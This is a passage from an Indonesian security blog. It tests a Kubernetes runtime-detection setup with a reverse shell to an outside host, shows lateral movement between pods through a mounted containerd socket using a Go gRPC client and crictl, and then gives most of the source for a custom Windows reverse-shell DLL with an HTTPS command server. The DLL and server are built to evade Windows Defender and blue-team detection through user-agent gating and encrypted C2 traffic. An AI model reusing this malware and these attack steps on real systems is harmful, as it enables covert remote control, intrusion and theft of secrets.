Dengan demikian, headless service memiliki load balancing dalam bentuk yang sangat sederhana yang bergantung pada DNS. Setiap kali DNS query dilakukan, urutan IP di atas akan dikembalikan secara acak dengan harapan tidak semua request mengarah ke IP yang sama.

Terakhir, saya akan menambahkan sebuah Deployment nginx yang akan dijadikan sebagai target pengujian dengan definisi seperti berikut ini:

deployment.yaml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx
  labels:
    app: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
        - name: nginx
          image: ubuntu/nginx:latest
          imagePullPolicy: IfNotPresent
---

Saya bisa men-deploy manifest Kubernetes yang telah saya tulis dengan menggunakan perintah seperti berikut ini:

Terminal window

$ kubectl apply -f deployment.yaml

Tracee

Selanjutnya, saya perlu melakukan perubahan pada file konfigurasi Tracee dengan menambahkan webhook pada nilai output seperti berikut ini:

output:
  webhook:
    - alert-responder:
        protocol: http
        host: alert-responder.tracee.svc.cluster.local
        port: 8080
        timeout: 5s
        content-type: application/json

Bila ini adalah cluster kosong, saya bisa mengatur nilai webhook ini pada saat melakukan instalasi Tracee lewat Helm dengan perintah seperti berikut ini:

Terminal window

$ helm install tracee aqua/tracee --namespace tracee --create-namespace \
  --set config.output.webhook.host=alert-responder.tracee.svc.cluster.local \
  --set config.output.webhook.port=8080 \
  --set config.output.webhook.timeout=5s \
  --set config.output.webhook.content-type=application/json

Sampai disini, proses deployment sudah selesai dan saya siap melakukan pengujian untuk memastikan alert-responder bekerja sesuai dengan harapan!

Pengujian

Untuk melakukan pengujian, saya akan mencoba membuat reverse shell pada Pod nginx. Langkah pertama yang saya lakukan adalah membuat listener di sebuah server publik dengan perintah seperti berikut ini:

Terminal window

$ nc -lvnp 8888

Lalu, saya akan masuk ke dalam Pod nginx dengan menggunakan perintah berikut ini:

Terminal window

$ kubectl exec -it deployment/nginx -- bash
root@nginx:/# sh -i >& /dev/tcp/10.10.10.10/8888 0>&1
##
## Output:
## command terminated with exit code 137
##

Pada perintah di atas, saya perlu mengganti nilai 10.10.10.10 dengan IP server publik yang saya pakai. Namun, begitu saya menekan tombol Enter, saya langsung menemukan perintah command terminated dan shell akan ditutup. Bila saya menggunakan perintah kubectl get pods, saya akan menemukan bahwa Pod yang saya pakai sudah tidak ada, digantikan oleh Pod yang masih baru (terlihat dari nilai di kolom AGE). Dengan demikian, aplikasi tidak akan down (nginx masih tetap bisa diakses).

Berinteraksi Dengan Socket containerd Dari Dalam Pod

Wed, 06 Nov 2024 00:00:00 GMT

Anggap saja saya berhasil mendapatkan shell di Pod yang men-mount containerd.sock dari host ke dalam Pod tersebut. File containerd.sock adalah Unix socket yang disediakan untuk berinteraksi dengan containerd (sama seperti file docker.sock yang dipakai oleh perintah docker). Apa yang bisa saya lakukan dengan file socket tersebut?

Container Runtime Interface (CRI) adalah komponen Kubernetes yang berkomunikasi dengan container runtime. Dengan CRI, Kubernetes tidak perlu terikat pada satu jenis container runtime. Pada awalnya, container runtime yang dipakai oleh Kubernetes adalah Docker. Namun, saat ini status Docker sebagai CRI sudah deprecated. Salah satu calon penerusnya adalah containerd. Ia merupakan alternatif yang paling banyak dipakai (misalnya containerd adalah CRI default di GKE).

Bila dilihat dari luar, tidak ada perubahan berarti karena developer tetap menggunakan Docker untuk membuat image baru. Namun, khusus untuk aplikasi yang perlu berinteraksi langsung dengan container runtime seperti monitoring agent, lokasi file socket untuk containerd adalah /run/containerd/containerd.sock (yang juga tersedia di /var/run/containerd/containerd.sock). Lokasi ini berbeda dengan socket Docker yang ada di /var/run/docker.sock.

Sebagai latihan, anggap saja saya berada di sebuah cluster Kubernetes yang menggunakan containerd dan memiliki workload dengan definisi seperti berikut ini:

deployment.yaml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx
  labels:
    app: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      securityContext:
        {}
      containers:
        - name: nginx
          image: ubuntu/nginx:latest
          imagePullPolicy: IfNotPresent
          volumeMounts:
            - name: containerd-sock
              mountPath: /run/containerd/containerd.sock
      volumes:
        - name: containerd-sock
          hostPath:
            path: /run/containerd/containerd.sock
---

apiVersion: apps/v1
kind: Deployment
metadata:
  name: internal-secret-nginx
  labels:
    app: internal-secret-nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: internal-secret-nginx
  template:
    metadata:
      labels:
        app: internal-secret-nginx
    spec:
      containers:
        - name: nginx
          image: ubuntu/nginx:latest
          imagePullPolicy: IfNotPresent

Pada definisi di atas, terdapat 2 Deployment berbeda: nginx dan internal-secret-nginx. Deployment nginx memiliki akses ke /run/containerd/containerd.sock yang ada di host. Bila seandainya saya berhasil mendapatkan shell di Pod nginx, maka secara tidak langsung saya juga bisa melakukan lateral movement untuk mendapatkan shell di Pod internal-secret-nginx.

Metode Low Level

Berbeda dengan Docker yang menggunakan HTTP, containerd menggunakan protokol gRPC dalam komunikasi socket-nya. Oleh sebab itu, saya tidak bisa menggunakan cURL seperti di socket Docker. Cara yang paling gampang untuk menggunakan gRPC adalah membuat kode program client gRPC. Saya akan mulai dengan membuat sebuah proyek Go baru dan memberikan perintah berikut ini untuk menambahkan dependency ke library gRPC:

Terminal window

$ go get google.golang.org/grpc@latest
$ go get google.golang.org/protobuf@latest
$ go get github.com/containerd/containerd/api/services/containers/v1
$ go get github.com/containerd/containerd/protobuf/types
$ go get github.com/containerd/containerd/errdefs

Saya kemudian membuat kode program berikut ini:

client.go

package main

import (
  "context"
  containersapi "github.com/containerd/containerd/api/services/containers/v1"
  "github.com/containerd/containerd/namespaces"
  "google.golang.org/grpc"
  "google.golang.org/grpc/credentials/insecure"
  "log"
)

type namespaceInterceptor struct {
  namespace string
}

func (ni namespaceInterceptor) unary(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error {
  _, ok := namespaces.Namespace(ctx)
  if !ok {
    ctx = namespaces.WithNamespace(ctx, ni.namespace)
  }
  return invoker(ctx, method, req, reply, cc, opts...)
}

func (ni namespaceInterceptor) stream(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) {
  _, ok := namespaces.Namespace(ctx)
  if !ok {
    ctx = namespaces.WithNamespace(ctx, ni.namespace)
  }

  return streamer(ctx, desc, cc, method, opts...)
}

func newNSInterceptors(ns string) (grpc.UnaryClientInterceptor, grpc.StreamClientInterceptor) {
  ni := namespaceInterceptor{
    namespace: ns,
  }
  return grpc.UnaryClientInterceptor(ni.unary), grpc.StreamClientInterceptor(ni.stream)
}

func main() {
  log.SetFlags(0)
  unary, stream := newNSInterceptors("k8s.io")
  gopts := []grpc.DialOption{
    grpc.WithTransportCredentials(insecure.NewCredentials()),
    grpc.WithChainUnaryInterceptor(unary),
    grpc.WithStreamInterceptor(stream),
  }
  cn, err := grpc.NewClient("unix:///run/containerd/containerd.sock", gopts...)
  if err != nil {
    log.Fatalf("failed to connect: %v", err)
  }
  defer cn.Close()
  client := containersapi.NewContainersClient(cn)
  request := containersapi.ListContainersRequest{}
  resp, err := client.List(context.Background(), &request)
  if err != nil {
    log.Fatalf("failed to retrieve containers: %v", err)
  }
  containers := resp.GetContainers()
  for _, c := range containers {
    log.Printf("%s (%s) => %s\n", c.Labels["io.kubernetes.pod.name"], c.Labels["io.kubernetes.pod.namespace"], c.ID)
  }
}

Pada kode program di atas, untuk menggunakan Unix socket di gRPC, saya melewatkan nilai seperti unix:///run/containerd/containerd.sock sebagai argumen untuk grpc.NewClient(). Kubernetes akan menggunakan namespace k8s.io di containerd sehingga saya perlu melewatkan interceptor untuk mengatur nilai namespace. Kemudian,saya memanggil method List dari Containers untuk mendapatkan daftar seluruh container yang ada.

Setelah men-build kode program di atas dan menyalin hasil binary-nya ke dalam Pod (misalnya di-download lewat HTTP), saya akan menemukan hasil eksekusinya yang terlihat seperti berikut ini:

nginx-6567f457b6-f8sld (default) => 37b522b2c3db88255dc10ec086019d62ec8a37eaa3d34c82f741b2e11cea4a10
internal-secret-nginx-6f859b945c-xgbp2 (default) => 2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369
storage-provisioner (kube-system) => 0344447ae06850954acbeb2872750e21d019c5232803d00c46bc3e832da87c5b
kube-scheduler-minikube (kube-system) => 096d0c75f9f1410327ab988bfa7cd0caed254323eb222e56df340915c9339544
etcd-minikube (kube-system) => 16a12f0bf3c88a79f39096283fed86d71e7ef7e03b953876d0317fe47d8f6ae1
kube-controller-manager-minikube (kube-system) => 1c554a79f0e42db1ba4b70495ee1a07358755a43f606f734168bf5abd93fd434
kube-apiserver-minikube (kube-system) => 2a9724535060ac72c1f8ca2d2cd0ce118dd27af37211e518c69d5d317e2c3ed0
...

Terlihat bahwa walaupun saya berada di Pod nginx, saya bisa melihat container di Pod lain seperti milik Pod internal-secret-nginx. Saya bahkan bisa melihat container milik Kubernetes di kube-system.

Berkomunikasi dengan socket langsung dari kode program buatan sendiri tidak direkomendasikan karena repetitif dan rentan terhadap kesalahan (kecuali tujuannya adalah mengerjakan exploit tertentu). Saya melakukannya hanya untuk menunjukkan bahwa Unix socket milik container runtime seperti containerd.sock dan docker.sock dapat langsung dipakai untuk mengakses container runtime secara keseluruhan (walaupun kesannya terlihat hanya seperti sebuah file biasa). Cara yang lebih mudah untuk memanggil API containerd adalah dengan menggunakan CLI resmi seperti ctr dan crictl.

ctr

CLI resmi yang dibuat untuk berkomunikasi dengan containerd adalah ctr. Tool ini sudah menjadi bagian dari file rilis containerd. Sebagai contoh, untuk men-download file ini dari dalam shell milik Pod nginx, saya akan memberikan perintah seperti berikut ini:

Terminal window

$ apt update && apt install curl
$ cd /tmp
$ curl -o containerd-2.0.0-linux-amd64.tar.gz -L https://github.com/containerd/containerd/releases/download/v2.0.0/containerd-2.0.0-linux-amd64.tar.gz
$ tar xvf containerd-2.0.0-linux-amd64.tar.gz
$ export PATH=$PATH:/tmp/bin

Setelah file berhasil di-download dan di-extract, saya dapat memberikan perintah seperti berikut ini untuk melihat container yang sedang aktif:

Terminal window

$ ctr -n k8s.io containers ls

##
## Output:
##
## CONTAINER                                                           IMAGE                                         RUNTIME
## 37b522b2c3db88255dc10ec086019d62ec8a37eaa3d34c82f741b2e11cea4a10    docker.io/ubuntu/nginx:latest                 io.containerd.runc.v2
## 2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369    docker.io/ubuntu/nginx:latest                 io.containerd.runc.v2
## 65671568bc715a7ee2384b98fd3876a61c641b2328202507956be4de77180be9    registry.k8s.io/kube-proxy:v1.31.0            io.containerd.runc.v2
## 67a915b401fdfccacbc5bedc63ef0305290fb5963c44689dae00e665e89d0575    gcr.io/k8s-minikube/storage-provisioner:v5    io.containerd.runc.v2
## ...

Tampilan dari ctr containers ls terlihat sangat sederhana. Saya tidak punya menemukan pilihan untuk menambahkan kolom lain seperti label untuk melihat nama pod dan namespace dari setiap baris container id. Sebagai gantinya, saya bisa menggunakan perintah ctr containers info untuk mendapat informasi detail setiap container satu per satu dengan menyertakan container id (kolom pertama) seperti pada perintah berikut ini:

Terminal window

$ ctr -n k8s.io containers info 37b522b2c3db88255dc10ec086019d62ec8a37eaa3d34c82f741b2e11cea4a10

##
## Output:
## {
##    "ID": "37b522b2c3db88255dc10ec086019d62ec8a37eaa3d34c82f741b2e11cea4a10",
##    "Labels": {
##        "io.cri-containerd.kind": "container",
##        "io.kubernetes.container.name": "nginx",
##        "io.kubernetes.pod.name": "nginx-6567f457b6-f8sld",
##        "io.kubernetes.pod.namespace": "default",
##        "io.kubernetes.pod.uid": "2c59e27c-b30c-4d26-ab56-9952132ec6c6",
##        "org.opencontainers.image.ref.name": "ubuntu",
##        "org.opencontainers.image.version": "24.04"
##    },
##    "Image": "docker.io/ubuntu/nginx:latest",
##    "Runtime": {
##        "Name": "io.containerd.runc.v2",
##        "Options": null
##    },
##    ...
## }

$ ctr -n k8s.io containers info 2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369

##
## Output:
## {
##    "ID": "2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369",
##    "Labels": {
##        "io.cri-containerd.kind": "container",
##        "io.kubernetes.container.name": "nginx",
##        "io.kubernetes.pod.name": "internal-secret-nginx-6f859b945c-xgbp2",
##        "io.kubernetes.pod.namespace": "default",
##        "io.kubernetes.pod.uid": "0ed42806-b33b-448c-848a-691adee35f77",
##        "org.opencontainers.image.ref.name": "ubuntu",
##        "org.opencontainers.image.version": "24.04"
##    },
##    "Image": "docker.io/ubuntu/nginx:latest",
##    "Runtime": {
##        "Name": "io.containerd.runc.v2",
##        "Options": null
##    },
##    ...
## }

Hasil di atas menunjukkan bahwa salah satu Pod internal-secret-nginx dijalankan melalui container dengan ID 2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369. Sampai disini saya bisa melakukan lateral movement dengan mengerjakan perintah pada container tersebut. Namun, saat mencobanya, ctr mengalami kegagalan dalam membuat pipe. Sebagai gantinya, pada langkah berikutnya, saya akan menggunakan crictl.

crictl

Bila ctr adalah tool yang datang dari containerd, maka crictl adalah tool resmi dari Kubernetes untuk berkomunikasi dengan komponen Container Runtime Interface (CRI). Dengan demikian, crictl tidak hanya mendukung containerd, namun juga container runtime lain yang didukung oleh CRI.

Untuk men-download crictl, setelah mendapatkan akses shell ke container yang menjalankan nginx, saya akan mengerjakan perintah berikut ini dari dalam container tersebut:

Terminal window

$ apt update && apt install curl
$ cd /tmp
$ curl -o crictl-v1.31.1-linux-amd64.tar.gz -L https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.31.1/crictl-v1.31.1-linux-amd64.tar.gz
$ tar zxvf crictl-v1.31.1-linux-amd64.tar.gz

crictl dapat menampilkan Pod (sama seperti kubectl) dengan perintah seperti berikut ini:

Terminal window

# ./crictl pods

##
## Output:
##
## POD ID              CREATED         STATE      NAME                                     NAMESPACE           ATTEMPT             RUNTIME
## 321592394249f       1 hours ago     Ready      internal-secret-nginx-6f859b945c-xgbp2   default             2                   (default)
## 37b522b2c3db8       1 hours ago     Ready      nginx-6567f457b6-f8sld                   default             1                   (default)
## db727d77a96d4       1 hours ago     Ready      coredns-6f6b679f8f-c9mq2                 kube-system         3                   (default)
## 72c11de1f09d3       1 hours ago     Ready      kube-proxy-tmk9f                         kube-system         3                   (default)
## ...

crictl juga dapat menampilkan daftar container yang sedang berjalan dengan perintah seperti:

Terminal window

# ./crictl ps

##
## Output:
##
## CONTAINER       IMAGE           CREATED  STATE      NAME                 ATTEMPT    POD ID          POD
## e9770a607317a   e07ed226fd3cf   ago      Running    nginx                1          37b522b2c3db8   nginx-6567f457b6-f8sld
## 30355778753f0   e07ed226fd3cf   ago      Running    nginx                2          321592394249f   internal-secret-nginx-6f859b945c-xgbp2
## 378cfc55a016c   6e38f40d628db   ago      Running    storage-provisioner  7          0344447ae0685   storage-provisioner
## 9bfc662413843   cbb01a7bd410d   ago      Running    coredns              3          db727d77a96d4   coredns-6f6b679f8f-c9mq2
## ...

Terlihat bahwa hasil perintah crictl jauh lebih lengkap bila dibandingkan dengan hasil ctr sebelumnya.

Sekarang, saatnya untuk melakukan lateral movement. Dari Pod nginx, saya akan mengerjakan perintah berikut ini untuk masuk ke container milik internal-secret-nginx:

Terminal window

$ ./crictl exec -it 30355778753f0 bash
root@internal-secret-nginx-6f859b945c-xgbp2:/# hostname
##
## Output:
## internal-secret-nginx-6f859b945c-xgbp2

Ini hampir sama seperti menjalankan kubectl exec -it, hanya saja saya bukan nama Pod yang dilewatkan melainkan container id. Selain mengerjakan shell di container lain, saya juga dapat melihat environment variables di container yang ada karena biasanya nilai secret akan dilewatkan sebagai environment variables.

Membuat Reverse Shell DLL Untuk Windows

Fri, 01 Nov 2024 00:00:00 GMT

Pada suatu hari, saat saya sedang mencoba permainan hacking untuk mesin Windows, saya berhasil menemukan exploit-nya. Langkah selanjutnya adalah mengirim payload untuk menciptakan reverse shell sehingga saya bisa menjalankan perintah command prompt pada mesin Windows tersebut. Bila mengikuti cheatsheet yang ada, saya bisa menggunakan Meterpreter dengan perintah seperti msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.20.30.40 LPORT=1234 -f dll -o payload.dll. Namun, saat menggunakan file DLL yang dihasilkan, saya menemukan pesan kesalahan ERROR_VIRUS_INFECTED - Operation did not complete successfully because the file contains a virus or potentially unwanted software. Sepertinya DLL yang dihasilkan oleh msfvenom sudah diblokir oleh pertahanan bawaan Windows. Untuk mengatasinya, pada tulisan ini, saya akan membuat sebuah reverse shell sederhana dalam bentuk file DLL.

Reverse shell latihan ini terdiri atas 2 komponen:

master yang dibuat dengan Go. Ini adalah aplikasi yang saya jalankan di komputer lokal untuk memberikan perintah ke mesin target Windows.
payload dalam bentuk file DLL yang dibuat dengan bahasa C yang memanggil Win32 API. Ini adalah file yang perlu disuntikkan ke mesin target Windows melalui celah keamanan.

Berbeda dengan reverse shell nc pada umumnya, komunikasi antara master dan payload berlangsung secara stateless dengan protokol HTTPS sehingga secara teknis apa yang saya buat lebih mirip seperti C&C yang mengendalikan bot. Saya menggunakan protokol HTTPS dengan harapan ini tidak memicu kecurigaan dari tim biru karena banyak komponen aplikasi lain yang juga berkomunikasi dengan protokol HTTPS. Selain itu, karena HTTPS di-enkripsi, IDS tidak bisa melihat perintah dan hasil eksekusi-nya yang dikirim dari mesin target ke mesin master.

Master

Komponen master pada dasarnya adalah sebuah web server dan juga sebuah simulasi shell untuk memberikan perintah dan melihat hasil perintahnya. Saya akan menjalankan web server dan shell masing-masing pada thread sendiri seperti pada contoh kode program berikut ini:

main.go

var command = ""

...

func main() {
  log.Println("Starting master...")
  var wg sync.WaitGroup
  c := make(chan string)
  go runWebServer(c)
  wg.Add(1)
  go runShell(c, &wg)
  wg.Wait()
}

Go sudah dilengkapi library bawaan di net/http sehingga saya bisa membuat web server dengan mudah seperti pada kode program berikut ini:

main.go

func runWebServer(c chan string) {
  log.Println("Running web server...")
  ...
  err := http.ListenAndServeTLS(":8080", "cert.pem", "key.pem", nil)
  log.Fatal(err)
}

Pada kode program di atas, saya menggunakan ListenAndServeTLS sehingga web server akan menggunakan HTTPS. Syaratnya adalah saya perlu menyediakan sertifikat untuk komunikasi HTTPS tersebut. Karena tujuan TLS disini hanya untuk menjaga supaya isi perintah shell tidak terdeteksi oleh IDS secara mudah, saya bisa menggunakan self signed certificate yang dibuat dengan perintah berikut ini:

Terminal window

$ openssl req -x509 -newkey rsa:4096 -sha256 -days 99999 -nodes -keyout key.pem -out cert.pem -subj "/CN=localhost"

Perintah di atas akan menghasilkan file key.pem dan cert.pem yang dibutuhkan untuk menjalankan master (harus berada pada folder yang sama).

Payload akan melakukan request GET ke /joc secara periodik untuk mendapatkan perintah yang perlu dikerjakan. Saya bisa mendefinisikan endpoint ini dengan menggunakan kode program seperti berikut ini:

main.go

func runWebServer(c chan string) {
  ...
  http.HandleFunc("/joc", func(w http.ResponseWriter, r *http.Request) {
    if r.UserAgent() != "Jochell" {
      fmt.Fprintf(w, html.EscapeString("OK - Operation completed"))
      return
    }
    if r.Method != http.MethodGet {
      http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
      return
    }
    _, err := fmt.Fprintf(w, html.EscapeString(command))
    if err != nil {
      log.Printf("Error processing command request: %s\n", err)
    } else if command != "" {
      log.Println("Command has been retrieved by reverse shell")
    }
    command = ""
  })
  ...
}

Kode program di atas pada dasarnya hanya akan mengembalikan isi variabel command sebagai respon dari request GET yang diberikan. Selain itu, saya juga menambahkan pemeriksaan user agent untuk membingungkan tim biru. Bila ada anggota tim biru yang curiga dengan endpoint ini dan mencoba memberikan request dengan curl atau langsung dari browser, ia akan memperoleh hasil berupa OK - Operation completed. Respon yang berupa isi variabel command hanya akan dikembalikan bila user agent-nya bernilai Jochell (yang nantinya akan dipakai oleh komponen payload).

Setelah payload mengerjakan perintah yang diperoleh lewat GET /joc, ia perlu mengirim hasil eksekusi perintah ini melalui POST /dry. Saya bisa membuat endpoint tersebut dengan kode program seperti berikut ini:

main.go

func runWebServer(c chan string) {
  ...
  http.HandleFunc("/dry", func(w http.ResponseWriter, r *http.Request) {
    if r.UserAgent() != "Jochell" {
      fmt.Fprintf(w, html.EscapeString("OK - Operation completed"))
      return
    }
    if r.Method != http.MethodPost {
      http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
      return
    }
    body, err := io.ReadAll(r.Body)
    if err != nil {
      log.Printf("Error reading request body: %s\n", err)
      return
    }
    log.Println("Response has been received")
    strBody := string(body[:])
    if len(strings.TrimSpace(strBody)) == 0 {
      c <- "(none)"
    } else {
      c <- strBody
    }
  })
  ...
}

Kode program di atas pada dasarnya hanya akan menerima apapun isi dari request body POST kemudian mengirimnya ke channel c untuk ditampilkan. Channel c ini dipakai untuk berkomunikasi dengan thread yang mensimulasikan shell dengan kode program seperti berikut ini:

main.go

func runShell(c chan string, wg *sync.WaitGroup) {
  time.Sleep(3 * time.Second)
  log.Println("Running shell...")
  defer wg.Done()
  scanner := bufio.NewScanner(os.Stdin)
  for {
    fmt.Print("> ")
    scanner.Scan()
    input := scanner.Text()
    if len(input) == 0 {
      continue
    }
    command = input
    if input == "exit" {
      break
    }
    response := <-c
    fmt.Printf("Response:\n%s\n", response)
  }
}

Kode program di atas akan menerima input dari pengguna dengan scanner.Scan(), menyimpannya ke variabel command, menunggu hingga ada respon, mencetak respon tersebut ke layar, dan kembali lagi menerima masukan dari pengguna:

Terminal window

> whoami
### Output:
### 2024/11/01 00:01:01 Command has been retrieved by reverse shell
### 2024/11/01 00:01:01 Response has been received
### Response:
### PC-Latihan\victim

> dir C:\Users
### Output:
### 2024/11/01 00:01:01 Command has been retrieved by reverse shell
### 2024/11/01 00:01:01 Response has been received
### Response:
###  Volume in drive C is Victim
###  Volume Serial Number is FFFF-FFFF
###
###  Directory of C:\Users
###
### 11/01/2024  00:00 AM    <DIR>          .
### 11/01/2024  00:00 AM    <DIR>          ..
### 11/01/2024  00:00 AM    <DIR>          victim
### 11/01/2024  00:00 AM    <DIR>          Public
###                0 File(s)              0 bytes
###                4 Dir(s)   1,000,000,000 bytes free

Karena pola komunikasi yang dipakai adalah stateless, akan ada jeda yang lumayan terasa saat perintah diberikan hingga hasilnya diterima bila dibandingkan dengan piping langsung ke shell tanpa henti. Namun, kelebihan metode stateless seperti ini adalah ia lebih sulit dideteksi karena cmd.exe dikerjakan hanya bila ada perintah yang perlu di-eksekusi. Bila tim biru masuk ke mesin korban dan melihat daftar proses di task manager dan tidak akan menemukan cmd.exe (atau powershell.exe), ada kemungkinan ia tidak akan curiga.

Payload

Untuk membuat komponen payload, saya memilih menggunakan C dan memanggil Win32 API (Windows API) yang telah disediakan oleh sistem operasi Windows. Sebenarnya saya bisa saja menggunakan Go dan cgo untuk menggabungkan C dan Go. Kode program versi Go jauh lebih singkat dan sederhana seperti yang terlihat berikut ini:

main.go

const ServerUrl = "https://10.20.30.40:8080"

func executeCommand(commandText string) []byte {
  cmd := exec.Command("C:\\Windows\\system32\\cmd.exe", "/C", commandText)
  cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
  out, _ := cmd.CombinedOutput()
  return out
}

func main() {
  http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
  for {
    var out []byte
    var command []byte
    r, err := http.Get(ServerUrl + "/joc")
    if err != nil {
      goto skip
    }
    command, err = io.ReadAll(r.Body)
    if len(command) == 0 {
      goto skip
    }
    out = executeCommand(string(command[:]))
    http.Post(ServerUrl+"/dry", "text/plain", bytes.NewReader(out))

  skip:
    time.Sleep(3 * time.Second)
  }
}

Namun sayangnya, DLL yang dihasilkan memiliki ukuran sekitar 4.5 MB. Bila dibandingkan dengan DLL yang dibuat dengan C dan memanggil Win32 API yang berukuran sekitar 200 KB, perbedaan ukuran file-nya cukup besar. Karena DLL ini akan di-inject ke proses yang sedang aktif, semakin kecil ukurannya akan semakin baik. Oleh sebab itu, saya akan menempuh cara yang lebih kompleks dengan menggunakan bahasa C.

DllMain

Karena DLL adalah library yang berisi koleksi functions untuk dipanggil, bagaimana caranya supaya kode program payload bisa dijalankan secara otomatis tanpa perlu dipanggil? Jawabannya adalah dengan memanfaatkan DllMain. Function ini tidak wajib aja di DLL, namun bila ada, ia akan dikerjakan setiap kali DLL dipakai oleh proses dengan menggunakan LoadLibrary(). Saya akan membuat definisinya seperti berikut ini:

payload.c

DWORD WINAPI ListenerThread(LPVOID lpParam) {
    StartPayload();
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            CreateThread(0, 0, ListenerThread, 0, 0, 0);
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

Kode program pada DllMain tidak boleh terlalu kompleks untuk mencegah terjadi-nya apa yang disebut loader lock. Sebagai contoh, sangat tidak disarankan untuk memanggil LoadLibrary() atau CreateProcess() dari DllMain. Oleh sebab itu, pada kode program di atas, DllMain hanya memanggil CreateThread() untuk membuat thread baru. Pada thread baru ini (yang sudah berada diluar DllMain ini), saya akan mengerjakan kode program utama dengan isi seperti berikut ini:

payload.c

_Noreturn VOID StartPayload() {
    if (!initWinHttp()) {
        exit(-1);
    }
    while (TRUE) {
        char *command = getCommand();
        if (!command) {
            continue;
        }
        LPSTR result = executeCommand(command);
        if (!result) {
            result = "(none)";
        }
        postResult(result, (DWORD) strlen(result));
        free(command);
        free(result);
        Sleep(5000);
    }
}

Kode program di atas pada dasarnya akan memanggil getCommand() setiap 5 detik secara perodik. Bila ada perintah yang diterima oleh getCommand(), ia akan meneruskan perintah tersebut ke executeCommand() dan kemudian mengirim hasil eksekusi perintah-nya dengan postResult().

WinHTTP

Win32 API menyediakan layanan WinHTTP untuk melakukan request HTTP tanpa perlu memakai library pihak ketiga seperti libcurl. Saya merasa WinHTTP jauh lebih kompleks dibandingkan dengan libcurl, namun karena ini tidak ingin ada library tambahan, saya terpaksa harus menggunakannya. Langkah paling awal dalam menggunakan WinHTTP adalah menyiapkan koneksi seperti pada kode program berikut ini:

payload.c

#define AGENT L"Jochell"
#define LHOST L"10.20.30.40"
#define LPORT 8080
#define OUTPUT_DEBUG(fmt, ...) {WCHAR buffer[512]; StringCbPrintfW(buffer, 512 * sizeof(TCHAR), fmt, __VA_ARGS__);  OutputDebugStringW(buffer);}

HINTERNET hSession = NULL, hConnect = NULL;

BOOL initWinHttp() {
    hSession = WinHttpOpen(AGENT, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) {
        OUTPUT_DEBUG(L"Error Getting Session Handle: %u\n", GetLastError())
        return FALSE;
    }
    hConnect = WinHttpConnect(hSession, LHOST, LPORT, 0);
    if (!hConnect) {
        OUTPUT_DEBUG(L"Error on Http Connection: %u\n", GetLastError())
        return FALSE;
    }
    return TRUE;
}

Pada kode program di atas, saya mendefinisikan AGENT yang akan dipakai sebagai user agent oleh WinHTTP dan juga IP dan port yang dipakai oleh master di LHOST dan LPORT. Saya perlu mengganti nilai LHOST dan LPORT bila master memiliki IP dan port yang berbeda.

GET Request

Setelah mendapatkan koneksi, saya bisa memberikan GET request seperti pada kode program berikut ini:

payload.c

DWORD dwSkipVerifyFlags =
        SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
        SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;

LPSTR getCommand() {
    BOOL bResults = FALSE;
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;

    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/joc", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    if (hRequest) {
        bResults = WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwSkipVerifyFlags, sizeof(dwSkipVerifyFlags));
    }
    if (bResults) {
        bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    }
    if (bResults) {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults) {
        dwSize = 0;
        bResults = WinHttpQueryDataAvailable(hRequest, &dwSize);
    }
    if (bResults && dwSize) {
        pszOutBuffer = (LPSTR) malloc(dwSize + 1);
    }
    if (pszOutBuffer) {
        ZeroMemory(pszOutBuffer, dwSize + 1);
        bResults = WinHttpReadData(hRequest, (LPVOID) pszOutBuffer, dwSize, &dwDownloaded);
    }
    if (!bResults) {
        OUTPUT_DEBUG(L"Error getting command: %u\n", GetLastError())
    }
    if (hRequest) {
        WinHttpCloseHandle(hRequest);
    }
    return pszOutBuffer;
}

